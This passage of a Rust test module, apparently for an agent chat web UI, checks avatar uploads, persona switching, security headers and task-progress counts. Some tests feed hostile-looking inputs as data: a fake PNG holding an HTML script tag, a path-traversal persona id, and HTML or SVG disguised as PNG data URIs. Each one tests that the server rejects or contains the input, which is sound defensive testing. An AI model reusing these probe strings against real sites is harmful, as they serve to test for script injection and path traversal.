14343        let (body, display) = crate::prompt::chat_task_report(&crate::prompt::ChatTaskNotice {
14344            id: "task-123",
14345            title: "Change",
14346            status: "done",
14347            reason: None,
14348            run: Some("run-123"),
14349            pr: None,
14350            summary: Some("Merge state unknown"),
14351        });
14352        talk::record(&mut conversation, &ui.talks, &body, vec![]).unwrap();
14353        conversation.turns[0].sender = None;
14354        conversation.turns[0].messages.clear();
14355        conversation.turns[0].breaks = None;
14356        conversation.pending = body.clone();
14357        conversation
14358            .completion_notices
14359            .push(crate::chat_notify::CompletionReference {
14360                task: "task-123".into(),
14361                run: Some("run-123".into()),
14362                notice: body.clone(),
14363            });
14364        ui.talks.put(&mut conversation).unwrap();
14365        let view = TalkView::with_config(
14366            ui.talks.get(&id).unwrap(),
14367            false,
14368            None,
14369            &ui.home,
14370            &ui.references,
14371        );
14372        assert_eq!(
14373            view.talk.turns[0].messages[0].display,
14374            Some(display.clone())
14375        );
14376        assert_eq!(view.talk.pending_messages[0].display, Some(display));
14377        assert_eq!(
14378            view.talk.turns[0].messages[0].sender,
14379            Some(talk::Sender::Magi)
14380        );
14381        assert!(ui.talks.get(&id).unwrap().turns[0].messages.is_empty());
14382        conversation.completion_notices[0]
14383            .notice
14384            .push_str("different");
14385        let view = TalkView::with_config(conversation, false, None, &ui.home, &ui.references);
14386        assert!(view.talk.turns[0].messages.is_empty());
14387        assert!(view.talk.pending_messages.is_empty());
14388    }
14389
14390    #[tokio::test]
14391    async fn avatar_settings_report_states_and_inherit_after_corruption() {
14392        let icon = "data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=";
14393        let (_tmp, home, ui, _, _) = avatar_fixture(&format!(
14394            "[[talk.personas]]\nid = \"rei\"\nicon = \"{icon}\"\n"
14395        ))
14396        .await;
14397        let path = avatar_setting_path(home.path(), Some("rei"));
14398        let orphan = avatar_setting_path(home.path(), Some("removed"));
14399        save_icon_file(&orphan, icon).unwrap();
14400        for (saved, expected) in [
14401            (icon, "custom"),
14402            ("builtin", "builtin"),
14403            ("data:image/png;base64,!!!!", "inherit"),
14404            ("data:image/png;base64,PGh0bWw+", "inherit"),
14405            ("/tmp/avatar.png", "inherit"),
14406        ] {
14407            atomic_icon_write(&path, saved).unwrap();
14408            let catalog =
14409                avatar_settings_get(State(ui.clone()), Query(AvatarSettingsQuery::default()))
14410                    .await
14411                    .unwrap()
14412                    .0;
14413            let personas = catalog["personas"].as_array().unwrap();
14414            let rei = personas.iter().find(|p| p["id"] == "rei").unwrap();
14415            assert_eq!(rei["override_state"], expected);
14416            assert_eq!(rei["has_config_icon"], true);
14417            assert_eq!(rei["is_orphan"], false);
14418            let removed = personas.iter().find(|p| p["id"] == "removed").unwrap();
14419            assert_eq!(removed["override_state"], "custom");
14420            assert_eq!(removed["is_orphan"], true);
14421            let default = personas.iter().find(|p| p["id"] == "default").unwrap();
14422            assert_eq!(default["override_state"], "inherit");
14423            assert_eq!(default["has_config_icon"], false);
14424            let effective = effective_persona_icon(home.path(), "rei", Some(icon));
14425            assert_eq!(
14426                effective.as_deref(),
14427                Some(if expected == "builtin" { "" } else { icon })
14428            );
14429        }
14430    }
14431
14432    #[tokio::test]
14433    async fn avatar_settings_persist_reset_isolate_and_reject_invalid_images() {
14434        let icon = "data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=";
14435        let (_tmp, home, ui, id, repo) = avatar_fixture(&format!(
14436            "[[talk.personas]]\nid = \"rei\"\nicon = \"{icon}\"\n\n[[talk.personas]]\nid = \"custom\"\nname = \"Custom\"\nprompt = \"Stay concise\"\n"
14437        ))
14438        .await;
14439        let target = |id: Option<&str>| AvatarSettingsQuery {
14440            persona: id.map(str::to_owned),
14441            ..Default::default()
14442        };
14443        let original_config = config_for(&repo).await.unwrap();
14444        let original_persona = persona::find(&original_config.talk.personas, "rei").unwrap();
14445        let original_prompt = persona::section_for(&original_persona, None);
14446        let before = talk_detail(State(ui.clone()), Path(id.clone()))
14447            .await
14448            .unwrap()
14449            .0;
14450        for persona in [None, Some("rei"), Some("magi"), Some("../custom/日本語")] {
14451            let _ = avatar_settings_put(
14452                State(ui.clone()),
14453                Query(target(persona)),
14454                Json(MagiIconUpload { icon: icon.into() }),
14455            )
14456            .await
14457            .unwrap();
14458            let path = avatar_setting_path(home.path(), persona);
14459            assert!(path.starts_with(home.path().join("avatars")));
14460            assert_eq!(read_icon_file(&path).as_deref(), Some(icon));
14461            for bad in [
14462                "/tmp/image.png".to_owned(),
14463                "data:image/png;base64,!!!!".to_owned(),
14464                "data:image/png;base64,PGh0bWw+".to_owned(),
14465                "data:image/svg+xml;base64,PHN2Zz4=".to_owned(),
14466                format!(
14467                    "data:image/png;base64,{}",
14468                    "A".repeat(persona_icon::ICON_MAX_BYTES)
14469                ),
14470            ] {
14471                assert!(
14472                    avatar_settings_put(
14473                        State(ui.clone()),
14474                        Query(target(persona)),
14475                        Json(MagiIconUpload { icon: bad })
14476                    )
14477                    .await
14478                    .is_err()
14479                );
14480                assert_eq!(read_icon_file(&path).as_deref(), Some(icon));
14481            }
14482        }
14483        assert!(read_magi_icon(home.path()).is_none());
14484        assert!(effective_persona_icon(home.path(), "asuka", None).is_none());
14485        let after = talk_detail(State(ui.clone()), Path(id.clone()))
14486            .await
14487            .unwrap()
14488            .0;
14489        assert_ne!(before.view.operator_avatar, after.view.operator_avatar);
14490        assert_ne!(
14491            before
14492                .personas
14493                .iter()
14494                .find(|p| p.id == "magi")
14495                .unwrap()
14496                .avatar,
14497            after
14498                .personas
14499                .iter()
14500                .find(|p| p.id == "magi")
14501                .unwrap()
14502                .avatar
14503        );
14504        let restarted = Arc::new(Ui::new(
14505            Queue::at(home.path().join("queue")),
14506            Questions::at(home.path().join("questions")),
14507            Talks::at(home.path().join("talks")),
14508            home.path().join("runs"),
14509            home.path().to_owned(),
14510            repo,
14511        ));
14512        let catalog = avatar_settings_get(State(restarted.clone()), Query(target(None)))
14513            .await
14514            .unwrap()
14515            .0;
14516        assert!(
14517            catalog["personas"]
14518                .as_array()
14519                .unwrap()
14520                .iter()
14521                .any(|p| p["id"] == "../custom/日本語")
14522        );
14523        for expected in ["custom", "default", "rei"] {
14524            assert!(
14525                catalog["personas"]
14526                    .as_array()
14527                    .unwrap()
14528                    .iter()
14529                    .any(|p| p["id"] == expected)
14530            );
14531        }
14532        let response =
14533            operator_avatar(State(restarted.clone()), Query(AvatarQuery::default())).await;
14534        assert_eq!(response.headers()[header::CONTENT_TYPE], "image/png");
14535        let _ = avatar_settings_delete(State(restarted.clone()), Query(target(Some("rei"))))
14536            .await
14537            .unwrap();
14538        assert_eq!(
14539            effective_persona_icon(home.path(), "rei", Some(icon)),
14540            Some(String::new())
14541        );
14542        let response = talk_avatar(
14543            State(restarted.clone()),
14544            Path(id.clone()),
14545            Query(AvatarQuery {
14546                persona: Some("rei".into()),
14547                ..Default::default()
14548            }),
14549        )
14550        .await
14551        .unwrap();
14552        assert_eq!(response.headers()[header::CONTENT_TYPE], "image/svg+xml");
14553        let reset = talk_detail(State(restarted.clone()), Path(id.clone()))
14554            .await
14555            .unwrap()
14556            .0;
14557        assert_ne!(
14558            after
14559                .personas
14560                .iter()
14561                .find(|p| p.id == "rei")
14562                .unwrap()
14563                .avatar,
14564            reset
14565                .personas
14566                .iter()
14567                .find(|p| p.id == "rei")
14568                .unwrap()
14569                .avatar
14570        );
14571        let mut inherit = target(Some("rei"));
14572        inherit.inherit = Some("1".into());
14573        let _ = avatar_settings_delete(State(restarted.clone()), Query(inherit))
14574            .await
14575            .unwrap();
14576        assert_eq!(
14577            effective_persona_icon(home.path(), "rei", Some(icon)).as_deref(),
14578            Some(icon)
14579        );
14580        let _ = avatar_settings_delete(State(restarted.clone()), Query(target(None)))
14581            .await
14582            .unwrap();
14583        assert_eq!(operator_icon_url(home.path()), before.view.operator_avatar);
14584        assert_eq!(
14585            read_icon_file(&avatar_setting_path(home.path(), Some("magi"))).as_deref(),
14586            Some(icon)
14587        );
14588        // Display changes never rewrite the conversation or its prompt-bearing config.
14589        let cfg = config_for(&ui.repo).await.unwrap();
14590        let resolved = persona::find(&cfg.talk.personas, "rei").unwrap();
14591        assert_eq!(persona::section_for(&resolved, None), original_prompt);
14592        assert!(!original_prompt.contains("data:image"));
14593        assert_eq!(ui.talks.get(&id).unwrap().persona, before.view.talk.persona);
14594        let stored = serde_json::to_string(&ui.talks.get(&id).unwrap()).unwrap();
14595        assert!(!stored.contains("data:image"));
14596        let mut orphan = ui.talks.get(&id).unwrap();
14597        orphan.persona = "../custom/日本語".into();
14598        let view = TalkView::with_config(
14599            orphan,
14600            false,
14601            Some(&cfg),
14602            home.path(),
14603            &id_links::IndexCache::default(),
14604        );
14605        assert!(view.persona_avatar.contains("persona=..%2Fcustom%2F"));
14606    }
14607
14608    #[tokio::test]
14609    async fn magi_icon_saves_resets_revalidates_and_refreshes_cache() {
14610        let (_tmp, home, ui, id, repo) = avatar_fixture("").await;
14611        let original = magi_icon_get(State(ui.clone())).await.0["avatar"].clone();
14612        let icon = "data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=";
14613        let _ = magi_icon_put(
14614            State(ui.clone()),
14615            Json(MagiIconUpload { icon: icon.into() }),
14616        )
14617        .await
14618        .unwrap();
14619        let changed = magi_icon_get(State(ui.clone())).await.0["avatar"].clone();
14620        assert_ne!(original, changed);
14621        assert_eq!(read_magi_icon(home.path()).as_deref(), Some(icon));
14622        let response = magi_avatar(
14623            State(ui.clone()),
14624            Query(AvatarQuery {
14625                persona: None,
14626                builtin: None,
14627            }),
14628        )
14629        .await;
14630        assert_eq!(response.headers()[header::CONTENT_TYPE], "image/png");
14631        assert_eq!(response.headers()[header::CACHE_CONTROL], "no-cache");
14632        assert_eq!(
14633            response.headers()[header::X_CONTENT_TYPE_OPTIONS],
14634            "nosniff"
14635        );
14636        for bad in [
14637            "data:image/png;base64,PGh0bWw+".to_owned(),
14638            "data:image/svg+xml;base64,PHN2Zz4=".to_owned(),
14639            "A".repeat(persona_icon::ICON_MAX_BYTES + 1),
14640        ] {
14641            assert!(save_magi_icon(home.path(), &bad).is_err());
14642            assert_eq!(read_magi_icon(home.path()).as_deref(), Some(icon));
14643        }
14644        // Re-opened server state reads the same independent home file.
14645        let restarted = Arc::new(Ui::new(
14646            Queue::at(home.path().join("queue")),
14647            Questions::at(home.path().join("questions")),
14648            Talks::at(home.path().join("talks")),
14649            home.path().join("runs"),
14650            home.path().to_path_buf(),
14651            repo,
14652        ));
14653        assert_eq!(
14654            magi_icon_get(State(restarted.clone())).await.0["avatar"],
14655            changed
14656        );
14657        let view = TalkView::with_config(
14658            restarted.talks.get(&id).unwrap(),
14659            false,
14660            None,
14661            &restarted.home,
14662            &restarted.references,
14663        );
14664        assert_eq!(view.magi_avatar, changed.as_str().unwrap());
14665        std::fs::write(magi_icon_path(home.path()), "invalid").unwrap();
14666        let response = magi_avatar(
14667            State(ui.clone()),
14668            Query(AvatarQuery {
14669                persona: None,
14670                builtin: None,
14671            }),
14672        )
14673        .await;
14674        let bytes = axum::body::to_bytes(response.into_body(), usize::MAX)
14675            .await
14676            .unwrap();
14677        assert_eq!(bytes.as_ref(), persona_icon::magi_svg().as_bytes());
14678        let _ = magi_icon_delete(State(ui.clone())).await.unwrap();
14679        assert_eq!(magi_icon_get(State(ui.clone())).await.0["avatar"], original);
14680        let _ = magi_icon_delete(State(ui)).await.unwrap();
14681    }
14682
14683    /// `(status, content-type, nosniff, csp, body)` of one avatar request.
14684    async fn avatar(
14685        ui: &Arc<Ui>,
14686        id: &str,
14687        persona: Option<&str>,
14688        builtin: bool,
14689    ) -> (StatusCode, String, bool, bool, Vec<u8>) {
14690        let res = talk_avatar(
14691            State(Arc::clone(ui)),
14692            Path(id.to_owned()),
14693            Query(AvatarQuery {
14694                persona: persona.map(str::to_owned),
14695                builtin: builtin.then(|| "1".to_owned()),
14696            }),
14697        )
14698        .await
14699        .expect("an avatar is never an error response");
14700        let h = res.headers();
14701        let ct = h[header::CONTENT_TYPE].to_str().unwrap().to_owned();
14702        let nosniff = h
14703            .get(header::X_CONTENT_TYPE_OPTIONS)
14704            .is_some_and(|v| v == "nosniff");
14705        let csp = h.contains_key(header::CONTENT_SECURITY_POLICY);
14706        let status = res.status();
14707        let body = axum::body::to_bytes(res.into_body(), usize::MAX)
14708            .await
14709            .expect("body")
14710            .to_vec();
14711        (status, ct, nosniff, csp, body)
14712    }
14713
14714    fn tiny_png() -> Vec<u8> {
14715        let mut b = b"\x89PNG\r\n\x1a\n".to_vec();
14716        b.extend_from_slice(&[0u8; 32]);
14717        b
14718    }
14719
14720    #[tokio::test]
14721    async fn operator_avatar_is_distinct_svg_with_a_locked_down_policy() {
14722        let (_tmp, _home, ui, _id, _repo) = avatar_fixture("").await;
14723        let res = operator_avatar(State(ui), Query(AvatarQuery::default())).await;
14724        assert_eq!(res.status(), StatusCode::OK);
14725        assert_eq!(res.headers()[header::CONTENT_TYPE], "image/svg+xml");
14726        assert_eq!(res.headers()[header::X_CONTENT_TYPE_OPTIONS], "nosniff");
14727        assert_eq!(res.headers()[header::CONTENT_SECURITY_POLICY], AVATAR_CSP);
14728        assert_eq!(res.headers()[header::CACHE_CONTROL], "no-cache");
14729        let body = axum::body::to_bytes(res.into_body(), usize::MAX)
14730            .await
14731            .unwrap();
14732        assert_eq!(body.as_ref(), persona_icon::operator_svg().as_bytes());
14733        assert_ne!(
14734            persona_icon::operator_svg(),
14735            persona_icon::builtin_svg("default")
14736        );
14737    }
14738
14739    #[tokio::test]
14740    async fn builtin_avatars_are_svg_with_a_locked_down_policy() {
14741        let (_t, _h, ui, id, _repo) = avatar_fixture("").await;
14742        for p in [
14743            "default", "magi", "rei", "misato", "ritsuko", "shinji", "asuka", "kaworu",
14744        ] {
14745            let (status, ct, nosniff, csp, body) = avatar(&ui, &id, Some(p), false).await;
14746            assert_eq!(status, StatusCode::OK, "{p}");
14747            assert_eq!(ct, "image/svg+xml", "{p}");
14748            assert!(nosniff && csp, "{p}");
14749            assert!(String::from_utf8(body).unwrap().starts_with("<svg"), "{p}");
14750        }
14751        // No `persona` means the conversation's own; unknown ones fall back.
14752        let own = avatar(&ui, &id, None, false).await;
14753        let default = avatar(&ui, &id, Some("default"), false).await;
14754        assert_eq!(own.4, default.4);
14755        let unknown = avatar(&ui, &id, Some("nobody"), false).await;
14756        assert_eq!(unknown.1, "image/svg+xml");
14757    }
14758
14759    #[tokio::test]
14760    async fn a_configured_raster_icon_is_served_and_bad_ones_fall_back() {
14761        let dir = TempDir::new().expect("icons");
14762        let good = dir.path().join("good.png");
14763        std::fs::write(&good, tiny_png()).unwrap();
14764        let spoof = dir.path().join("spoof.png");
14765        std::fs::write(&spoof, b"<html><script>alert(1)</script></html>").unwrap();
14766        let big = dir.path().join("big.png");
14767        let mut bytes = tiny_png();
14768        bytes.resize(persona_icon::ICON_MAX_BYTES + 1, 0);
14769        std::fs::write(&big, bytes).unwrap();
14770        let missing = dir.path().join("missing.png");
14771        let uri = |p: &FsPath| p.to_string_lossy().replace('\\', "/");
14772        let extra = format!(
14773            "[[talk.personas]]\nid = \"rei\"\nicon = \"{}\"\n\
14774             [[talk.personas]]\nid = \"misato\"\nicon = \"{}\"\n\
14775             [[talk.personas]]\nid = \"asuka\"\nicon = \"{}\"\n\
14776             [[talk.personas]]\nid = \"shinji\"\nicon = \"{}\"\n\
14777             [[talk.personas]]\nid = \"kaworu\"\nicon = \"data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=\"\n\
14778             [[talk.personas]]\nid = \"magi\"\nicon = \"data:image/png;base64,PGh0bWw+\"\n",
14779            uri(&good),
14780            uri(&spoof),
14781            uri(&big),
14782            uri(&missing),
14783        );
14784        let (_t, _h, ui, id, _repo) = avatar_fixture(&extra).await;
14785
14786        let (status, ct, nosniff, _, body) = avatar(&ui, &id, Some("rei"), false).await;
14787        assert_eq!(
14788            (status, ct.as_str(), nosniff),
14789            (StatusCode::OK, "image/png", true)
14790        );
14791        assert_eq!(body, tiny_png());
14792        let (_, ct, _, _, _) = avatar(&ui, &id, Some("kaworu"), false).await;
14793        assert_eq!(ct, "image/png", "data URI");
14794
14795        for p in ["misato", "asuka", "shinji", "magi"] {
14796            let (status, ct, _, csp, body) = avatar(&ui, &id, Some(p), false).await;
14797            assert_eq!(
14798                (status, ct.as_str(), csp),
14799                (StatusCode::OK, "image/svg+xml", true),
14800                "{p}"
14801            );
14802            assert!(body.starts_with(b"<svg"), "{p}");
14803        }
14804        // The page's own retry skips the icon.
14805        let (_, ct, _, _, _) = avatar(&ui, &id, Some("rei"), true).await;
14806        assert_eq!(ct, "image/svg+xml");
14807    }
14808
14809    #[tokio::test]
14810    async fn invalid_icons_keep_the_catalog_and_persona_switch_usable() {
14811        let oversized = format!(
14812            "data:image/png;base64,{}",
14813            "A".repeat(persona_icon::ICON_MAX_BYTES)
14814        );
14815        for bad in ["", "/images/avatar.svg", "/a/../b.png", &oversized] {
14816            let extra = format!(
14817                "[[talk.personas]]\nid = \"custom\"\nname = \"Custom\"\nprompt = \"Keep calm\"\nicon = \"{bad}\"\n"
14818            );
14819            let (_t, _h, ui, id, _repo) = avatar_fixture(&extra).await;
14820            let Json(detail) = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
14821                .await
14822                .expect("detail with invalid icon");
14823            assert!(detail.personas.iter().any(|p| p.id == "custom"));
14824            let (status, ct, _, _, body) = avatar(&ui, &id, Some("custom"), false).await;
14825            assert_eq!(status, StatusCode::OK);
14826            assert_eq!(ct, "image/svg+xml");
14827            assert_eq!(body, persona_icon::builtin_svg("custom").as_bytes());
14828            let Json(view) = talk_persona(
14829                State(Arc::clone(&ui)),
14830                Path(id.clone()),
14831                Json(TalkPersona {
14832                    persona: "custom".into(),
14833                }),
14834            )
14835            .await
14836            .expect("persona switch with invalid icon");
14837            assert_eq!(view.talk.persona, "custom");
14838            assert_eq!(ui.talks.get(&id).unwrap().persona, "custom");
14839        }
14840    }
14841
14842    #[tokio::test]
14843    async fn an_unreadable_config_still_gets_the_builtin_avatar() {
14844        let (_t, _h, ui, id, repo) = avatar_fixture("").await;
14845        std::fs::write(repo.join("magi.toml"), "this is not valid TOML").unwrap();
14846        let (status, ct, nosniff, csp, _) = avatar(&ui, &id, Some("rei"), false).await;
14847        assert_eq!(
14848            (status, ct.as_str(), nosniff, csp),
14849            (StatusCode::OK, "image/svg+xml", true, true)
14850        );
14851    }
14852
14853    #[tokio::test]
14854    async fn the_talk_view_carries_server_built_avatar_urls_only() {
14855        let (_t, _h, ui, id, _repo) =
14856            avatar_fixture("[[talk.personas]]\nid = \"rei\"\nicon = \"~/secret/rei.png\"\n").await;
14857        let Json(detail) = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
14858            .await
14859            .expect("detail");
14860        let json = serde_json::to_string(&detail).unwrap();
14861        assert!(
14862            !json.contains("secret"),
14863            "the icon setting must not leak: {json}"
14864        );
14865        assert!(
14866            detail
14867                .view
14868                .persona_avatar
14869                .starts_with(&format!("/api/talks/{id}/avatar?persona=default&v="))
14870        );
14871        assert_eq!(
14872            detail.view.operator_avatar,
14873            format!(
14874                "/avatars/operator.svg?v={}",
14875                persona_icon::fingerprint(Some(persona_icon::operator_svg()))
14876            )
14877        );
14878        assert!(!detail.personas.iter().any(|p| p.id == "operator"));
14879        let rei = detail.personas.iter().find(|p| p.id == "rei").unwrap();
14880        let plain = detail.personas.iter().find(|p| p.id == "asuka").unwrap();
14881        assert!(rei.avatar.contains("persona=rei&v="));
14882        assert_ne!(
14883            rei.avatar.split("&v=").nth(1),
14884            plain.avatar.split("&v=").nth(1)
14885        );
14886    }
14887
14888    #[tokio::test]
14889    async fn empty_settings_turn_releases_inline_only_for_unchanged_generation() {
14890        let (_t, _h, ui, id, repo) = avatar_fixture("").await;
14891        let cfg = config_for(&repo).await.unwrap();
14892        for arrived in [false, true] {
14893            let turn = ui.begin_talk_turn(&id).unwrap().unwrap();
14894            let observed = ui.queued_generation(&id);
14895            let talk = ui.talks.get(&id).unwrap();
14896            if arrived {
14897                assert!(ui.begin_queued_talk_turn(&id).unwrap().is_none());
14898            }
14899            let mut settling = std::pin::pin!(settle_settings_turn(
14900                talk,
14901                ui.talks.clone(),
14902                cfg.clone(),
14903                id.clone(),
14904                turn,
14905                observed
14906            ));
14907            let mut cx = std::task::Context::from_waker(std::task::Waker::noop());
14908            let first = std::future::Future::poll(settling.as_mut(), &mut cx);
14909            assert_eq!(first.is_pending(), arrived);
14910            if arrived {
14911                assert!(!settling.await);
14912            }
14913            assert!(!ui.is_thinking(&id));
14914        }
14915    }
14916
14917    #[tokio::test]
14918    async fn talk_persona_round_trips_and_refuses_unknown_busy_or_closed() {
14919        let tmp = TempDir::new().expect("tempdir");
14920        let repo = tmp.path().join("repo");
14921        std::fs::create_dir_all(&repo).expect("repo dir");
14922        std::fs::write(
14923            repo.join("magi.toml"),
14924            format!(
14925                "{MOCK_AGENT_TOML}\n[[talk.personas]]\nid = \"gendo\"\nname = \"Gendo\"\nprompt = \"Be cold.\"\n"
14926            ),
14927        )
14928        .expect("write magi.toml");
14929        let home = TempDir::new().expect("temp home");
14930        let talks = Talks::at(home.path().join("talks"));
14931        let ui = Arc::new(
14932            Ui::new(
14933                Queue::at(home.path().join("queue")),
14934                Questions::at(home.path().join("questions")),
14935                talks.clone(),
14936                home.path().join("runs"),
14937                home.path().to_path_buf(),
14938                repo.clone(),
14939            )
14940            .with_worktrees_root(home.path().join("wt")),
14941        );
14942        let cfg = config_for(&repo).await.expect("discover config");
14943        let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
14944        let id = talk.id.clone();
14945        let call = |persona: &str| {
14946            talk_persona(
14947                State(Arc::clone(&ui)),
14948                Path(id.clone()),
14949                Json(TalkPersona {
14950                    persona: persona.to_owned(),
14951                }),
14952            )
14953        };
14954
14955        let unknown = call("nobody").await.expect_err("unknown persona");
14956        assert_eq!(
14957            unknown.status,
14958            StatusCode::BAD_REQUEST,
14959            "{}",
14960            unknown.message
14961        );
14962
14963        {
14964            // Nothing refused so far took a claim, so the guard is free to take
14965            // and holding it is what makes the talk busy.
14966            let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
14967            let busy = call("rei").await.expect_err("busy talk");
14968            assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
14969            assert!(
14970                busy.message.contains("a talk turn is running"),
14971                "{}",
14972                busy.message
14973            );
14974            drop(guard);
14975        }
14976        assert_eq!(talks.get(&id).expect("reload").persona, "");
14977
14978        let Json(view) = call("gendo").await.expect("switch to a configured persona");
14979        assert_eq!(view.talk.persona, "gendo");
14980        assert_eq!(talks.get(&id).expect("reload").persona, "gendo");
14981        assert!(!ui.is_thinking(&id), "idle response must release the claim");
14982        // No intervening I/O or sleep may be needed before another change.
14983        for chosen in ["default", "gendo", "rei", "gendo"] {
14984            let Json(view) = call(chosen).await.expect("immediate consecutive change");
14985            assert!(!view.thinking);
14986            assert!(!ui.is_thinking(&id));
14987        }
14988
14989        let detail = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
14990            .await
14991            .expect("detail");
14992        let ids: Vec<&str> = detail.0.personas.iter().map(|p| p.id.as_str()).collect();
14993        assert_eq!(ids.first(), Some(&"default"));
14994        assert!(ids.contains(&"rei") && ids.contains(&"gendo"));
14995
14996        let Json(view) = call("default").await.expect("back to default");
14997        assert_eq!(view.talk.persona, "");
14998
14999        let mut closed = talks.get(&id).expect("reload");
15000        talk::close(&mut closed, &talks).expect("close");
15001        let refused = call("rei").await.expect_err("closed talk");
15002        assert_eq!(refused.status, StatusCode::CONFLICT, "{}", refused.message);
15003        assert!(
15004            refused.message.contains("takes no more turns"),
15005            "{}",
15006            refused.message
15007        );
15008    }
15009
15010    #[tokio::test]
15011    async fn talk_detail_lists_the_tasks_it_has_filed_and_stays_open() {
15012        let f = Fixture::start().await;
15013        let talk_id = seed_talk(&f, "20260904-014455-ab12", "open");
15014        let queue = f.queue();
15015        let mut mine = Task::new(
15016            "rename the loader".to_owned(),
15017            "rename the loader".to_owned(),
15018            PathBuf::from("/repo/magi"),
15019            Source::Agent {
15020                run: talk_id.clone(),
15021                node: "chat".to_owned(),
15022            },
15023        );
15024        let empty = f.get(&format!("/api/talks/{talk_id}")).await.json();
15025        assert_eq!(empty["task_progress"]["state"], "none");
15026        assert_eq!(empty["task_progress"]["total"], 0);
15027        queue.put(&mut mine).expect("file the task");
15028        let mut theirs = Task::new(
15029            "unrelated".to_owned(),
15030            "unrelated".to_owned(),
15031            PathBuf::from("/repo/magi"),
15032            Source::Human,
15033        );
15034        // A later task linked through origin_chat alone is outside this list.
15035        theirs.origin_chat = Some(talk_id.clone());
15036        queue.put(&mut theirs).expect("file the task");
15037
15038        let res = f.get(&format!("/api/talks/{talk_id}")).await;
15039        assert_eq!(res.status, 200, "{}", res.body);
15040        let body = res.json();
15041        assert_eq!(
15042            body["status"], "open",
15043            "filing a task does not close a talk"
15044        );
15045        let tasks = body["tasks"].as_array().expect("tasks array");
15046        assert_eq!(tasks.len(), 1, "only this talk's own task is listed");
15047        assert_eq!(tasks[0]["id"], mine.id);
15048        for status in [
15049            TaskStatus::Queued,
15050            TaskStatus::Running,
15051            TaskStatus::Held,
15052            TaskStatus::Failed,
15053            TaskStatus::Blocked,
15054            TaskStatus::Parked,
15055            TaskStatus::Done,
15056            TaskStatus::Queued,
15057        ] {
15058            mine.status = status;
15059            queue.put(&mut mine).expect("update status");
15060            let detail = f.get(&format!("/api/talks/{talk_id}")).await.json();
15061            let progress = &detail["task_progress"];
15062            assert_eq!(progress["total"], 1);
15063            assert_eq!(progress["counts"][status.as_str()], 1);
15064            assert_eq!(detail["tasks"][0]["status"], status.as_str());
15065            assert_eq!(detail["status"], "open", "completion never closes the chat");
15066            if status == TaskStatus::Done {
15067                assert_eq!(progress["state"], "complete");
15068                assert_eq!(progress["done"], 1);
15069                assert_eq!(progress["unfinished_ids"], serde_json::json!([]));
15070            } else {
15071                assert_eq!(progress["state"], "incomplete");
15072                assert_eq!(progress["done"], 0);
15073                assert_eq!(progress["unfinished_ids"], serde_json::json!([mine.id]));
15074            }
15075        }
15076    }
15077
15078    #[test]
15079    fn talk_task_progress_counts_mixed_statuses() {
15080        let mut tasks: Vec<_> = [
15081            TaskStatus::Queued,
15082            TaskStatus::Running,
15083            TaskStatus::Held,
15084            TaskStatus::Failed,
15085            TaskStatus::Blocked,
15086            TaskStatus::Parked,
15087            TaskStatus::Done,
15088        ]
15089        .into_iter()
15090        .map(|status| {
15091            let mut task = Task::new(
15092                "task".into(),
15093                "task".into(),
15094                PathBuf::from("/repo"),
15095                Source::Human,
15096            );
15097            task.status = status;
15098            task
15099        })
15100        .collect();
15101        let progress = talk_task_progress(&tasks);
15102        assert_eq!(progress.state, "incomplete");
15103        assert_eq!(progress.total, 7);
15104        assert_eq!(progress.done, 1);
15105        assert_eq!(progress.unfinished_ids.len(), 6);
15106        assert!(progress.counts.values().all(|count| *count == 1));
15107        assert_eq!(
15108            progress.unfinished_ids,
15109            tasks[..6]
15110                .iter()
15111                .map(|task| task.id.clone())
15112                .collect::<Vec<_>>()
15113        );
15114
15115        for task in &mut tasks {
15116            task.status = TaskStatus::Done;
15117        }
15118        let complete = talk_task_progress(&tasks);
15119        assert_eq!(complete.state, "complete");
15120        assert_eq!(complete.done, 7);
15121        assert!(complete.unfinished_ids.is_empty());
15122        tasks[0].status = TaskStatus::Queued;
15123        let requeued = talk_task_progress(&tasks);
15124        assert_eq!(requeued.state, "incomplete");
15125        assert_eq!(requeued.done, 6);
15126        assert_eq!(requeued.unfinished_ids, vec![tasks[0].id.clone()]);
15127
15128        let empty = talk_task_progress(&[]);
15129        assert_eq!(empty.state, "none");
15130        assert_eq!(empty.total, 0);
15131        assert_eq!(empty.done, 0);
15132        assert!(empty.unfinished_ids.is_empty());
15133        assert!(empty.counts.values().all(|count| *count == 0));
15134    }
15135
15136    #[tokio::test]
15137    async fn talk_say_records_the_operators_turn_before_the_agents_reply_lands() {
15138        let (_tmp, _repo, f) = talk_fixture().await;
15139        let id = f.post("/api/talks", None).await.json()["id"]
15140            .as_str()
15141            .expect("id")
15142            .to_owned();
15143
15144        let res = f
15145            .post(
15146                &format!("/api/talks/{id}/say"),
15147                Some(r#"{"text":"what does the queue module do?"}"#),
15148            )
15149            .await;
15150        assert_eq!(res.status, 202, "{}", res.body);
15151        let queued = res.json();
15152        let turns = queued["turns"].as_array().expect("turns array");
15153        assert_eq!(
15154            turns.len(),
15155            1,
15156            "the answer reflects only what is on disk the instant it is sent, \
15157             before the agent's turn - which can run for the whole of \
15158             `[graph] timeout_talk` - has a chance to land: {queued}"
15159        );
15160        assert_eq!(turns[0]["who"], "operator");
15161        assert_eq!(turns[0]["body"], "what does the queue module do?");
15162        assert_eq!(
15163            queued["thinking"], true,
15164            "the accepted response exposes the background turn claim: {queued}"
15165        );
15166
15167        let mut turns_after = 1;
15168        for _ in 0..SETTLE_STEPS {
15169            let detail = f.get(&format!("/api/talks/{id}")).await.json();
15170            turns_after = detail["turns"].as_array().expect("turns array").len();
15171            if turns_after == 2 {
15172                break;
15173            }
15174            tokio::time::sleep(Duration::from_millis(10)).await;
15175        }
15176        assert_eq!(turns_after, 2, "the agent's reply eventually lands");
15177    }
15178
15179    /// A phone that reloads mid-request drops `talk_say`'s whole handler
15180    /// future without warning - see `TalkTurnGuard`'s doc. The bug this
